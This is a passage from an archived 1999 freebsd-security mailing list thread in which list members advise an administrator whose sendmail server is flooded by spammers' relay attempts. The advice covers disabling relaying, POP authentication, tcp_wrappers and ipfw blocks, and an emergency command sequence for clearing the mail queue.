positive response (and thus keeping a connection until they time out). My choices seem to be ipfw (which I don't want to do as I don't want to block all aol users), or somehow getting sendmail to disconnect on a "relaying denied" (instead of sitting there until they timeout). I can't figure out how to do the latter (doesn't seem to be possible). And of course calling AOL and bitching, at least that will feel good if I can get a bunch of these spammers booted. Sep 21 15:17:23 a sendmail[3421]: PAA03421: ruleset=check_rcpt, arg1=, relay=98A89A1C.ipt.aol.com [152.168.154.28], reject=550 ... Relaying denied Sep 21 15:17:59 a sendmail[1445]: OAA01445: from=bihungstud@aol.net, size=0, class=0, pri=0, nrcpts=0, proto=SMTP, relay=98A7D5DA.ipt.aol.com [152.167.213.218] Sep 21 15:18:12 a sendmail[3438]: PAA03438: ruleset=check_rcpt, arg1=, relay=98CB0B15.ipt.aol.com [152.203.11.21], reject=550 ... Relaying denied To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:30: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from noreturn.frankbasso.com (adsl-63-193-136-146.dsl.lsan03.pacbell.net [63.193.136.146]) by hub.freebsd.org (Postfix) with ESMTP id 03BA61573E for ; Tue, 21 Sep 1999 12:29:46 -0700 (PDT) (envelope-from jack@dorazi.org) Received: from localhost (jack@localhost) by noreturn.frankbasso.com (8.9.3/8.9.3) with ESMTP id MAA00614 for ; Tue, 21 Sep 1999 12:09:03 GMT (envelope-from jack@dorazi.org) Date: Tue, 21 Sep 1999 12:09:03 +0000 (GMT) From: JD Nails X-Sender: jack@noreturn.frankbasso.com To: security@FreeBSD.ORG Subject: Re: hackers? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greetings, You could add aol.com of the offending networks to your /etc/hosts.deny but this would use resources on the host you are trying to protect. You might be better off blocking the route at your gateway from/to the aol class C/B space just be sure not to block the routes to their real mail hosts if you require mail to and from them. nslookup -q=mx aol.com to find those addresses. relay test may help verify your server, but most default sendmail 8.9.3 installs do not enable relay by default you have to specify it in the mc configurations. cat /usr/src/etc/sendmail/freebsd.mc to see what your base config is setup like. FEATURE(relay_based_on_MX)dnl is wahts in mine, its OK but I prefer to add hosts and networks by hand as anyone can alter their MX hosts to point your way :) /usr/ports/mail/rlytest may come in handy, but run it from a hosts outside your network. -jack On Tue, 21 Sep 1999, John Armstrong wrote: siberi >You really really need to turn off relaying and turn on pop siberi >authentication ( or use a pop database if your pop users are coming siberi >from static IP addresses ). siberi > siberi >Is your load high? What do you maillogs indicate? Can you trace the siberi >source of the problem? Are emails bouncing back to your root acct? siberi > siberi >When this happened to me not only did I get nailed with the outgoing siberi >traffic, I got nailed with tens of thousands of bounces because the siberi >idiot spammer did not get a current mailing list. On top of that I siberi >got nailed into the blackhole and my ISP shut me down until I fixed siberi >it. siberi > siberi >its a nightmare. If you need a sendmail.cf file that blocks relaying siberi >as well as the perl daemon to do pop authentication let me know and I siberi >will send it offlist. siberi > siberi >John- siberi > siberi >At 8:31 PM -0400 9/19/99, Mr. K. wrote: siberi >>I've just recently upgraded to sendmail 8.9, as my host was being used as siberi >>a mail relay. I think I am now under some kind of attack. When I do a ps siberi >>-x I get the following listings: siberi >> siberi >> 3814 ?? S 0:00.01 sendmail: server ABD8FFB5.ipt.aol.com siberi >>[171.216.255.181] child wait (sendmail) siberi >> 3816 ?? I 0:00.02 sendmail: server ABD8FFB5.ipt.aol.com siberi >>[171.216.255.181] cmd read (sendmail) siberi >> 3829 ?? I 0:00.01 sendmail: server ABD4F010.ipt.aol.com siberi >>[171.212.240.16] child wait (sendmail) siberi >> 3832 ?? I 0:00.02 sendmail: server ABD4F010.ipt.aol.com siberi >>[171.212.240.16] cmd read (sendmail) siberi >> 3839 ?? I 0:00.01 sendmail: server 98AC79DB.ipt.aol.com siberi >>[152.172.121.219] child wait (sendmail) siberi >> 3843 ?? I 0:00.02 sendmail: server 98AC79DB.ipt.aol.com siberi >>[152.172.121.219] cmd read (sendmail) siberi >> 3855 ?? I 0:00.01 sendmail: server ABD8452B.ipt.aol.com siberi >>[171.216.69.43] child wait (sendmail) siberi >> 3856 ?? I 0:00.02 sendmail: server ABD8452B.ipt.aol.com siberi >>[171.216.69.43] cmd read (sendmail) siberi >> 3858 ?? I 0:00.01 sendmail: server 98CB05B2.ipt.aol.com siberi >>[152.203.5.178] child wait (sendmail) siberi >> 3859 ?? I 0:00.02 sendmail: server 98CB05B2.ipt.aol.com siberi >>[152.203.5.178] cmd read (sendmail) siberi >> 3863 ?? I 0:00.01 sendmail: server ABD57D59.ipt.aol.com siberi >>[171.213.125.89] child wait (sendmail) siberi >> 3866 ?? I 0:00.02 sendmail: server ABD57D59.ipt.aol.com siberi >>[171.213.125.89] cmd read (sendmail) siberi >> 3899 ?? I 0:00.01 sendmail: server siberi >>dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] chi siberi >> 3900 ?? I 0:00.02 sendmail: server siberi >>dialup-209.245.42.236.SanDiego1.Level3.net [209.245.42.236] cmd siberi >> 3919 ?? I 0:00.01 sendmail: server 98A6ACF8.ipt.aol.com siberi >>[152.166.172.248] child wait (sendmail) siberi >> 3921 ?? I 0:00.02 sendmail: server 98A6ACF8.ipt.aol.com siberi >>[152.166.172.248] cmd read (sendmail) siberi >> 3933 ?? I 0:00.01 sendmail: server ABD8F59A.ipt.aol.com siberi >>[171.216.245.154] child wait (sendmail) siberi >> 3934 ?? I 0:00.02 sendmail: server ABD8F59A.ipt.aol.com siberi >>[171.216.245.154] cmd read (sendmail) siberi >> 3965 ?? I 0:00.01 sendmail: server ABD1158F.ipt.aol.com siberi >>[171.209.21.143] child wait (sendmail) siberi >> 3968 ?? I 0:00.02 sendmail: server ABD1158F.ipt.aol.com siberi >>[171.209.21.143] cmd read (sendmail) siberi >> 3979 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net siberi >>[207.90.108.189] child wait (sendmail) siberi >> 3980 ?? I 0:00.01 sendmail: server dlp61.wilm.eri.net siberi >>[207.90.108.189] cmd read (sendmail) siberi >> 3982 ?? I 0:00.01 sendmail: server 98AD84A0.ipt.aol.com siberi >>[152.173.132.160] child wait (sendmail) siberi >> 3983 ?? I 0:00.02 sendmail: server 98AD84A0.ipt.aol.com siberi >>[152.173.132.160] cmd read (sendmail) siberi >> 4046 ?? I 0:00.01 sendmail: server ABD306AA.ipt.aol.com siberi >>[171.211.6.170] child wait (sendmail) siberi >> 4047 ?? I 0:00.02 sendmail: server ABD306AA.ipt.aol.com siberi >>[171.211.6.170] cmd read (sendmail) siberi >> 4256 ?? I 0:00.01 sendmail: server 98AEC8C1.ipt.aol.com siberi >>[152.174.200.193] child wait (sendmail) siberi >> 4258 ?? I 0:00.02 sendmail: server 98AEC8C1.ipt.aol.com siberi >>[152.174.200.193] cmd read (sendmail) siberi >> 4274 ?? I 0:00.01 sendmail: server 98CE2C1D.ipt.aol.com siberi >>[152.206.44.29] child wait (sendmail) siberi >> 4277 ?? I 0:00.02 sendmail: server 98CE2C1D.ipt.aol.com siberi >>[152.206.44.29] cmd read (sendmail) siberi >> 4287 ?? I 0:00.01 sendmail: server ABD857C8.ipt.aol.com siberi >>[171.216.87.200] child wait (sendmail) siberi >> 4288 ?? I 0:00.02 sendmail: server ABD857C8.ipt.aol.com siberi >>[171.216.87.200] cmd read (sendmail) siberi >> 4328 ?? I 0:00.01 sendmail: server 98C8972D.ipt.aol.com siberi >>[152.200.151.45] child wait (sendmail) siberi >> 4329 ?? I 0:00.02 sendmail: server 98C8972D.ipt.aol.com siberi >>[152.200.151.45] cmd read (sendmail) siberi >> 4361 ?? I 0:00.01 sendmail: server 98CC072E.ipt.aol.com siberi >>[152.204.7.46] child wait (sendmail) siberi >> 4362 ?? I 0:00.02 sendmail: server 98CC072E.ipt.aol.com siberi >>[152.204.7.46] cmd read (sendmail) siberi >> 4364 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com siberi >>[152.166.138.234] child wait (sendmail) siberi >> 4367 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com siberi >>[152.166.138.234] cmd read (sendmail) siberi >> 4369 ?? I 0:00.01 sendmail: server 98CD50D8.ipt.aol.com siberi >>[152.205.80.216] child wait (sendmail) siberi >> 4370 ?? I 0:00.02 sendmail: server 98CD50D8.ipt.aol.com siberi >>[152.205.80.216] cmd read (sendmail) siberi >> 4471 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com siberi >>[171.208.40.164] child wait (sendmail) siberi >> 4472 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com siberi >>[171.208.40.164] child wait (sendmail) siberi >> 4473 ?? I 0:00.01 sendmail: server ABD028A4.ipt.aol.com siberi >>[171.208.40.164] child wait (sendmail) siberi >> 4474 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com siberi >>[171.208.40.164] cmd read (sendmail) siberi >> 4475 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com siberi >>[171.208.40.164] cmd read (sendmail) siberi >> 4476 ?? I 0:00.02 sendmail: server ABD028A4.ipt.aol.com siberi >>[171.208.40.164] cmd read (sendmail) siberi >> 4507 ?? I 0:00.01 sendmail: server ABD86D5D.ipt.aol.com siberi >>[171.216.109.93] child wait (sendmail) siberi >> 4508 ?? I 0:00.02 sendmail: server ABD86D5D.ipt.aol.com siberi >>[171.216.109.93] cmd read (sendmail) siberi >> 4510 ?? I 0:00.01 sendmail: server ABD96F8E.ipt.aol.com siberi >>[171.217.111.142] child wait (sendmail) siberi >> 4511 ?? I 0:00.02 sendmail: server ABD96F8E.ipt.aol.com siberi >>[171.217.111.142] cmd read (sendmail) siberi >> 4525 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com siberi >>[152.169.232.146] child wait (sendmail) siberi >> 4526 ?? I 0:00.01 sendmail: server 98A9E892.ipt.aol.com siberi >>[152.169.232.146] child wait (sendmail) siberi >> 4527 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com siberi >>[152.169.232.146] cmd read (sendmail) siberi >> 4528 ?? I 0:00.02 sendmail: server 98A9E892.ipt.aol.com siberi >>[152.169.232.146] cmd read (sendmail) siberi >> 4529 ?? I 0:00.01 sendmail: server ABD96E5D.ipt.aol.com siberi >>[171.217.110.93] child wait (sendmail) siberi >> 4530 ?? I 0:00.02 sendmail: server ABD96E5D.ipt.aol.com siberi >>[171.217.110.93] cmd read (sendmail) siberi >> 4564 ?? I 0:00.01 sendmail: server siberi >>dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] chi siberi >> 4565 ?? I 0:00.02 sendmail: server siberi >>dialup-209.245.41.221.SanDiego1.Level3.net [209.245.41.221] cmd siberi >> 4602 ?? I 0:00.01 sendmail: server ABD6CDDE.ipt.aol.com siberi >>[171.214.205.222] child wait (sendmail) siberi >> 4603 ?? I 0:00.02 sendmail: server ABD6CDDE.ipt.aol.com siberi >>[171.214.205.222] cmd read (sendmail) siberi >> 4637 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com siberi >>[152.166.138.234] child wait (sendmail) siberi >> 4638 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com siberi >>[152.166.138.234] cmd read (sendmail) siberi >> 4646 ?? I 0:00.01 sendmail: server ABD78E3B.ipt.aol.com siberi >>[171.215.142.59] child wait (sendmail) siberi >> 4647 ?? I 0:00.02 sendmail: server ABD78E3B.ipt.aol.com siberi >>[171.215.142.59] cmd read (sendmail) siberi >> 4652 ?? I 0:00.01 sendmail: server 98CD01D6.ipt.aol.com siberi >>[152.205.1.214] child wait (sendmail) siberi >> 4653 ?? I 0:00.02 sendmail: server 98CD01D6.ipt.aol.com siberi >>[152.205.1.214] cmd read (sendmail) siberi >> 4666 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com siberi >>[152.205.11.74] child wait (sendmail) siberi >> 4667 ?? I 0:00.01 sendmail: server 98CD0B4A.ipt.aol.com siberi >>[152.205.11.74] child wait (sendmail) siberi >> 4671 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com siberi >>[152.205.11.74] cmd read (sendmail) siberi >> 4672 ?? I 0:00.02 sendmail: server 98CD0B4A.ipt.aol.com siberi >>[152.205.11.74] cmd read (sendmail) siberi >> 4695 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com siberi >>[24.6.84.63] child wait (sendmail siberi >> 4696 ?? I 0:00.01 sendmail: server cc405899-a.brick1.nj.home.com siberi >>[24.6.84.63] child wait (sendmail siberi >> 4697 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com siberi >>[24.6.84.63] cmd read (sendmail) siberi >> 4698 ?? I 0:00.02 sendmail: server cc405899-a.brick1.nj.home.com siberi >>[24.6.84.63] cmd read (sendmail) siberi >> 4700 ?? I 0:00.01 sendmail: server 98A68AEA.ipt.aol.com siberi >>[152.166.138.234] child wait (sendmail) siberi >> 4701 ?? I 0:00.02 sendmail: server 98A68AEA.ipt.aol.com siberi >>[152.166.138.234] cmd read (sendmail) siberi >> 4709 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com siberi >>[152.205.79.42] child wait (sendmail) siberi >> 4711 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com siberi >>[152.205.79.42] cmd read (sendmail) siberi >> 4801 ?? I 0:00.01 sendmail: server 98A72163.ipt.aol.com siberi >>[152.167.33.99] child wait (sendmail) siberi >> 4802 ?? I 0:00.02 sendmail: server 98A72163.ipt.aol.com siberi >>[152.167.33.99] cmd read (sendmail) siberi >> 4830 ?? I 0:00.01 sendmail: server ABD605BD.ipt.aol.com siberi >>[171.214.5.189] child wait (sendmail) siberi >> 4831 ?? I 0:00.02 sendmail: server ABD605BD.ipt.aol.com siberi >>[171.214.5.189] cmd read (sendmail) siberi >> 4839 ?? I 0:00.01 sendmail: server cc353189-a.owml1.md.home.com siberi >>[24.3.39.239] child wait (sendmail siberi >> 4840 ?? I 0:00.02 sendmail: server cc353189-a.owml1.md.home.com siberi >>[24.3.39.239] cmd read (sendmail) siberi >> 4845 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] child wait (sendmail) siberi >> 4846 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] child wait (sendmail) siberi >> 4847 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] child wait (sendmail) siberi >> 4848 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] child wait (sendmail) siberi >> 4849 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] cmd read (sendmail) siberi >> 4850 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] cmd read (sendmail) siberi >> 4851 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] cmd read (sendmail) siberi >> 4852 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] cmd read (sendmail) siberi >> 4860 ?? S 0:00.59 /usr/local/sbin/sshd (sshd1) siberi >> 4896 ?? I 0:00.01 sendmail: server 98CD742E.ipt.aol.com siberi >>[152.205.116.46] child wait (sendmail) siberi >> 4897 ?? I 0:00.02 sendmail: server 98CD742E.ipt.aol.com siberi >>[152.205.116.46] cmd read (sendmail) siberi >> 4904 ?? I 0:00.01 sendmail: server 98ADEA9D.ipt.aol.com siberi >>[152.173.234.157] child wait (sendmail) siberi >> 4905 ?? I 0:00.02 sendmail: server 98ADEA9D.ipt.aol.com siberi >>[152.173.234.157] cmd read (sendmail) siberi >> 4906 ?? I 0:00.01 sendmail: server 98A9848F.ipt.aol.com siberi >>[152.169.132.143] child wait (sendmail) siberi >> 4907 ?? I 0:00.02 sendmail: server 98A9848F.ipt.aol.com siberi >>[152.169.132.143] cmd read (sendmail) siberi >> 4918 ?? I 0:00.01 sendmail: server ABD4D9A4.ipt.aol.com siberi >>[171.212.217.164] child wait (sendmail) siberi >> 4919 ?? I 0:00.02 sendmail: server ABD4D9A4.ipt.aol.com siberi >>[171.212.217.164] cmd read (sendmail) siberi >> 5034 ?? I 0:00.01 sendmail: server host92.iline.com siberi >>[207.30.115.92] child wait (sendmail) siberi >> 5036 ?? I 0:00.02 sendmail: server host92.iline.com siberi >>[207.30.115.92] cmd read (sendmail) siberi >> 5055 ?? I 0:00.01 sendmail: server 98CB1D1B.ipt.aol.com siberi >>[152.203.29.27] child wait (sendmail) siberi >> 5057 ?? I 0:00.02 sendmail: server 98CB1D1B.ipt.aol.com siberi >>[152.203.29.27] cmd read (sendmail) siberi >> 5089 ?? I 0:00.01 sendmail: server ABD9AEE0.ipt.aol.com siberi >>[171.217.174.224] child wait (sendmail) siberi >> 5090 ?? I 0:00.02 sendmail: server ABD9AEE0.ipt.aol.com siberi >>[171.217.174.224] cmd read (sendmail) siberi >> 5091 ?? I 0:00.01 sendmail: server 98A7BAF4.ipt.aol.com siberi >>[152.167.186.244] child wait (sendmail) siberi >> 5092 ?? I 0:00.02 sendmail: server 98A7BAF4.ipt.aol.com siberi >>[152.167.186.244] cmd read (sendmail) siberi >> 5097 ?? I 0:00.01 sendmail: server 98A73695.ipt.aol.com siberi >>[152.167.54.149] child wait (sendmail) siberi >> 5098 ?? I 0:00.02 sendmail: server 98A73695.ipt.aol.com siberi >>[152.167.54.149] cmd read (sendmail) siberi >> 5114 ?? I 0:00.01 sendmail: server 98CD4F2A.ipt.aol.com siberi >>[152.205.79.42] child wait (sendmail) siberi >> 5115 ?? I 0:00.02 sendmail: server 98CD4F2A.ipt.aol.com siberi >>[152.205.79.42] cmd read (sendmail) siberi >> 5116 ?? I 0:00.01 sendmail: server 98AA2318.ipt.aol.com siberi >>[152.170.35.24] child wait (sendmail) siberi >> 5117 ?? I 0:00.02 sendmail: server 98AA2318.ipt.aol.com siberi >>[152.170.35.24] cmd read (sendmail) siberi >> 5137 ?? I 0:00.01 sendmail: server ABD15CDE.ipt.aol.com siberi >>[171.209.92.222] child wait (sendmail) siberi >> 5138 ?? I 0:00.02 sendmail: server ABD15CDE.ipt.aol.com siberi >>[171.209.92.222] cmd read (sendmail) siberi >> 5149 ?? I 0:00.01 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] child wait (sendmail) siberi >> 5150 ?? I 0:00.02 sendmail: server 98C992C9.ipt.aol.com siberi >>[152.201.146.201] cmd read (sendmail) siberi >> 5158 ?? I 0:00.01 sendmail: server p359.gnt.com [204.49.91.167] siberi >>child wait (sendmail) siberi >> 5159 ?? I 0:00.02 sendmail: server p359.gnt.com [204.49.91.167] siberi >>cmd read (sendmail) siberi >> 5172 ?? I 0:00.01 sendmail: server pm4-249.dialup.flinet.com siberi >>[208.14.24.249] child wait (sendmail) siberi >> 5173 ?? I 0:00.02 sendmail: server pm4-249.dialup.flinet.com siberi >>[208.14.24.249] cmd read (sendmail) siberi >> siberi >>Is there anything I can do to stop this? siberi >> siberi >> siberi >> siberi >>To Unsubscribe: send mail to majordomo@FreeBSD.org siberi >>with "unsubscribe freebsd-security" in the body of the message siberi > siberi > siberi > siberi >------------------------------------------- siberi >Remember, ever ask a geek'why', siberi >just nod your head and back away slowly.. siberi > --CmdrTaco , http://www.slashdot.org/ siberi > siberi > siberi > siberi >To Unsubscribe: send mail to majordomo@FreeBSD.org siberi >with "unsubscribe freebsd-security" in the body of the message siberi > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:31: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 2537715BC2 for ; Tue, 21 Sep 1999 12:31:01 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id MAA63783; Tue, 21 Sep 1999 12:30:12 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909211930.MAA63783@gndrsh.dnsmgr.net> Subject: Re: hackers? In-Reply-To: from "Mr. K." at "Sep 19, 1999 08:31:08 pm" To: bsd@a.servers.aozilla.com (Mr. K.) Date: Tue, 21 Sep 1999 12:30:12 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I've just recently upgraded to sendmail 8.9, as my host was being used as > a mail relay. I think I am now under some kind of attack. When I do a ps > -x I get the following listings: > > 3814 ?? S 0:00.01 sendmail: server ABD8FFB5.ipt.aol.com > [171.216.255.181] child wait (sendmail) > 3816 ?? I 0:00.02 sendmail: server ABD8FFB5.ipt.aol.com > [171.216.255.181] cmd read (sendmail) Do as the others have suggested, and do this quickly. But a quick first step to mitigate the current damage on your system can be achived by doing the following _right_ _now_. killall sendmail mv /var/spool/mqueue /var/spool/mqueue.spammed mkdir /var/spool/mqueue chown root:daemon /var/spool/mqueue chmod 755 /var/spool/mqueue ipfw add deny tcp from 171.212.240.0/24 to any 25 # For each of the IP's # you see in this list # associated with AOL.com. sendmail -bd -q30m #Or as appropriate for your site. That will get your back on line and running... then you need to go through /var/spool/mqueue.spam and figure out what should be moved over to /var/spool/mqueue, and what should be saved for legal evidence in case it is needed. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:39: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from bekool.com (ns2.netquick.net [216.48.34.2]) by hub.freebsd.org (Postfix) with ESMTP id C41DE1573E for ; Tue, 21 Sep 1999 12:38:56 -0700 (PDT) (envelope-from trouble@hackfurby.com) Received: from bastille.netquick.net ([216.48.32.159] helo=hackfurby.com) by bekool.com with esmtp (Exim 3.03 #1) id 11TW9f-0003c6-00; Tue, 21 Sep 1999 20:04:47 +0000 Message-ID: <37E93ECF.D0BB3779@hackfurby.com> Date: Wed, 22 Sep 1999 15:40:48 -0500 From: TrouBle Reply-To: trouble@hackfurby.com X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 4.0-19990816-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: "Mr. K." , security@FreeBSD.ORG Subject: Re: hackers? References: <199909211930.MAA63783@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org BRAVO... yes this is the best solution immediatley "Rodney W. Grimes" wrote: > > I've just recently upgraded to sendmail 8.9, as my host was being used as > > a mail relay. I think I am now under some kind of attack. When I do a ps > > -x I get the following listings: > > > > 3814 ?? S 0:00.01 sendmail: server ABD8FFB5.ipt.aol.com > > [171.216.255.181] child wait (sendmail) > > 3816 ?? I 0:00.02 sendmail: server ABD8FFB5.ipt.aol.com > > [171.216.255.181] cmd read (sendmail) > > Do as the others have suggested, and do this quickly. But > a quick first step to mitigate the current damage on your system > can be achived by doing the following _right_ _now_. > > killall sendmail > mv /var/spool/mqueue /var/spool/mqueue.spammed > mkdir /var/spool/mqueue > chown root:daemon /var/spool/mqueue > chmod 755 /var/spool/mqueue > ipfw add deny tcp from 171.212.240.0/24 to any 25 # For each of the IP's > # you see in this list > # associated with AOL.com. > > sendmail -bd -q30m #Or as appropriate for your site. > > That will get your back on line and running... then you need to > go through /var/spool/mqueue.spam and figure out what should be > moved over to /var/spool/mqueue, and what should be saved for > legal evidence in case it is needed. > > -- > Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:40:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (Postfix) with ESMTP id 96E921607B for ; Tue, 21 Sep 1999 12:40:26 -0700 (PDT) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id PAA11328; Tue, 21 Sep 1999 15:40:24 -0400 (EDT) Message-Id: <3.0.5.32.19990921153905.01499100@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Tue, 21 Sep 1999 15:39:05 -0400 To: "Mr. K." From: Mike Tancsa Subject: Sendmail blocking of spammers (was Re: hackers?) Cc: security@FreeBSD.ORG In-Reply-To: References: <3.0.5.32.19990921145047.013e24b0@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >I think I figured out what is happening. The relaying is indeed getting >denied, but unfortunately some of the spammers software is waiting blindly >for a positive response (and thus keeping a connection until they time >out). My choices seem to be ipfw (which I don't want to do as I don't >want to block all aol users), or somehow getting sendmail to disconnect on >a "relaying denied" (instead of sitting there until they timeout). I >can't figure out how to do the latter (doesn't seem to be possible). And >of course calling AOL and bitching, at least that will feel good if I can >get a bunch of these spammers booted. You have another option. If you have tcp_wrappers installed (its installed in all 3.[2|3] versions by default), you can deny by sub domain. The spammers are coming from *.ipt.aol.com. Block from that subdomain on. AOL for its mail exchangers are all of the form xx.mx.aol.com, not ipt.aol.com e.g. aol.com preference = 15, mail exchanger = zd.mx.aol.com ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel 01.519.651.3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:46:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from pop3-3.enteract.com (pop3-3.enteract.com [207.229.143.32]) by hub.freebsd.org (Postfix) with SMTP id 6910515F5C for ; Tue, 21 Sep 1999 12:44:57 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: (qmail 11836 invoked from network); 21 Sep 1999 19:44:56 -0000 Received: from shell-3.enteract.com (dscheidt@207.229.143.42) by pop3-3.enteract.com with SMTP; 21 Sep 1999 19:44:56 -0000 Date: Tue, 21 Sep 1999 14:44:56 -0500 (CDT) From: David Scheidt To: John Armstrong , Joe Gleason Cc: security@FreeBSD.ORG Subject: Re: hackers? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org People, please trim your quotes. Consider if it is really necessary to send 14KB of irrelevant log messages. Rule of thumb: if your test lacks enough content for it to belong before the quoted text, why quote teh text at all? Those of us who read mail over slow links find it quite annoying. Tahnks, David Scheidt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 12:49: 8 1999 Delivered-To: freebsd-security@freebsd.org Received: from inbox.org (inbox.org [216.22.145.8]) by hub.freebsd.org (Postfix) with ESMTP id 0D0B6156D4 for ; Tue, 21 Sep 1999 12:49:03 -0700 (PDT) (envelope-from bsd@a.servers.aozilla.com) Received: from localhost (bsd@localhost) by inbox.org (8.9.3/8.9.3) with ESMTP id PAA04526; Tue, 21 Sep 1999 15:49:03 -0400 (EDT) Date: Tue, 21 Sep 1999 15:49:03 -0400 (EDT) From: "Mr. K." X-Sender: bsd@inbox.org To: John Armstrong Cc: security@FreeBSD.ORG Subject: Re: hackers? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 21 Sep 1999, John Armstrong wrote: > You really really need to turn off relaying and turn on pop > authentication ( or use a pop database if your pop users are coming > from static IP addresses ). > Right now all relaying is shut off. Is there somewhere that I can get more information on using pop authentication for relaying? That would be perfect as myself and the other users connect from a large number of different locations and dynamic ip addresses. > Is your load high? What do you maillogs indicate? Can you trace the > source of the problem? Are emails bouncing back to your root acct? > I actually didn't get any bounces, as the From: was listed to some other poor loser. I did get put on ORBS, but I'm off that now. > When this happened to me not only did I get nailed with the outgoing > traffic, I got nailed with tens of thousands of bounces because the > idiot spammer did not get a current mailing list. On top of that I > got nailed into the blackhole and my ISP shut me down until I fixed > it. > > its a nightmare. If you need a sendmail.cf file that blocks relaying > as well as the perl daemon to do pop authentication let me know and I > will send it offlist. > Nope I think I got it. Ran it through a few tests, and passed ORBS tests apparently as I'm still off the list. Thanks for the info and the help. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 13:29: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 5F13D158B3; Tue, 21 Sep 1999 13:27:43 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from lithium.scientia.demon.co.uk 